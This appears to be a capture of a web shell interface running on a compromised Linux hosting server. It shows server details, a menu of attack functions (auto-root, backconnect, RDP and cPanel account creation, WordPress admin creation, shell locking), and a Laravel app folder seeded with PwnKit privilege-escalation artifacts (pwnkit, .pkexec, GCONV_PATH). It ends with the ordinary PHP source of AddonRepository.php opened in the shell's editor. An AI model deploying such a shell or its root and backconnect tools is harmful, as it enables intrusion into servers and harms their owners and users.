Linux clientvps21.redlake.in 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
LiteSpeed
: 95.216.48.241 | : 216.73.217.57
14 Domain
8.1.34
mydemowebs
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
mydemowebs /
.trash /
app /
Repositories /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AddonRepository.php
5.35
KB
-rwxr-xr-x
AttributeRepository.php
2.79
KB
-rwxr-xr-x
BannerRepository.php
2.86
KB
-rwxr-xr-x
BrandRepository.php
3.59
KB
-rwxr-xr-x
CashBackRepository.php
2.54
KB
-rwxr-xr-x
CategoryRepository.php
7.18
KB
-rwxr-xr-x
CommonConditionRepository.php
3.04
KB
-rwxr-xr-x
ConversationRepository.php
5.75
KB
-rwxr-xr-x
CouponRepository.php
3.05
KB
-rwxr-xr-x
CustomRoleRepository.php
2.67
KB
-rwxr-xr-x
DeliveryManRepository.php
8.83
KB
-rwxr-xr-x
DmReviewRepository.php
3.2
KB
-rwxr-xr-x
DmVehicleRepository.php
4.65
KB
-rwxr-xr-x
EmployeeRepository.php
5
KB
-rwxr-xr-x
MessageRepository.php
1.85
KB
-rwxr-xr-x
ModuleRepository.php
3.53
KB
-rwxr-xr-x
NotificationRepository.php
2.83
KB
-rwxr-xr-x
OrderTransactionRepository.php
2.4
KB
-rwxr-xr-x
StoreRepository.php
1.89
KB
-rwxr-xr-x
TranslationRepository.php
3.81
KB
-rwxr-xr-x
UnitRepository.php
2.55
KB
-rwxr-xr-x
UserInfoRepository.php
1.96
KB
-rwxr-xr-x
UserNotificationRepository.php
2.06
KB
-rwxr-xr-x
WalletBonusRepository.php
2.35
KB
-rwxr-xr-x
ZoneRepository.php
3.95
KB
-rwxr-xr-x
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AddonRepository.php
<?php namespace App\Repositories; use App\Contracts\Repositories\AddonRepositoryInterface; use App\Http\Requests\Admin\AddonBulkExportRequest; use App\Models\AddOn; use App\Scopes\StoreScope; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Http\Request; use Illuminate\Pagination\LengthAwarePaginator; use Illuminate\Support\Facades\Config; use Illuminate\Support\Facades\DB; class AddonRepository implements AddonRepositoryInterface { public function __construct(protected AddOn $addon) { } public function add(array $data): string|object { $addon = $this->addon->newInstance(); foreach ($data as $key => $column) { $addon[$key] = $column; } $addon->save(); return $addon; } public function getFirstWhere(array $params, array $relations = []): ?Model { return $this->addon->where($params)->first(); } public function getList(array $orderBy = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator { return $this->addon->paginate($dataLimit); } public function getListWhere(string $searchValue = null, array $filters = [], array $relations = [], int|string $dataLimit = DEFAULT_DATA_LIMIT, int $offset = null): Collection|LengthAwarePaginator { $key = explode(' ', $searchValue); return $this->addon->where(function ($q) use ($key) { foreach ($key as $value) { $q->orWhere('addon', 'like', "%{$value}%"); } })->limit($dataLimit)->get(); } public function update(string $id, array $data): bool|string|object { $addon = $this->addon->find($id); foreach ($data as $key => $column) { $addon[$key] = $column; } $addon->save(); return $addon; } public function delete(string $id): bool { $addon = $this->addon->withoutGlobalScope(StoreScope::class)->find($id); $addon->translations()->delete(); $addon?->taxVats()->delete(); $addon->delete(); return true; } public function getFirstWithoutGlobalScopeWhere(array $params, array $relations = []): ?Model { return $this->addon->withoutGlobalScope(StoreScope::class)->withoutGlobalScope('translate')->where($params)->first(); } public function getStoreWiseList(int|string $moduleId ,string $searchValue = null, int|string $storeId = 'all', int|string $dataLimit = DEFAULT_DATA_LIMIT): Collection|LengthAwarePaginator { $key = explode(' ', $searchValue); return $this->addon->withoutGlobalScope(StoreScope::class) ->when(is_numeric($storeId), function($query)use($storeId){ return $query->where('store_id', $storeId); })->whereHas('store', function ($q) use ($moduleId) { return $q->where('module_id', $moduleId); }) ->when(isset($key), function ($q1) use($key){ $q1->where(function ($q) use ($key) { foreach ($key as $value) { $q->orWhere('name', 'like', "%{$value}%"); } }); }) ->orderBy('name')->paginate($dataLimit); } public function getExportList(int|string $moduleId ,string $searchValue = null, int|string $storeId = 'all'): Collection { $key = explode(' ', $searchValue); return $this->addon->withoutGlobalScope(StoreScope::class) ->when(is_numeric($storeId), function($query)use($storeId){ return $query->where('store_id', $storeId); })->whereHas('store', function ($q) use ($moduleId) { return $q->where('module_id', $moduleId); }) ->when(isset($key), function ($q1) use($key){ $q1->where(function ($q) use ($key) { foreach ($key as $value) { $q->orWhere('name', 'like', "%{$value}%"); } }); }) ->orderBy('name')->get(); } public function addByChunk(array $data): void { $chunkSize = 100; $chunkAddons= array_chunk($data,$chunkSize); foreach($chunkAddons as $key=> $chunkAddon){ DB::table('add_ons')->insert($chunkAddon); } } public function updateByChunk(array $data): void { $chunkSize = 100; $chunkAddons= array_chunk($data,$chunkSize); foreach($chunkAddons as $key=> $chunkAddon){ DB::table('add_ons')->upsert($chunkAddon,['id'],['name','price','store_id','status']); } } public function getBulkExportList(AddonBulkExportRequest $request): Collection { return $this->addon->when($request['type']=='date_wise', function($query)use($request){ $query->whereBetween('created_at', [$request['from_date'].' 00:00:00', $request['to_date'].' 23:59:59']); }) ->when($request['type']=='id_wise', function($query)use($request){ $query->whereBetween('id', [$request['start_id'], $request['end_id']]); })->whereHas('store', function ($q) use ($request) { return $q->where('module_id', Config::get('module.current_module_id')); }) ->withoutGlobalScope(StoreScope::class)->get(); } }
Close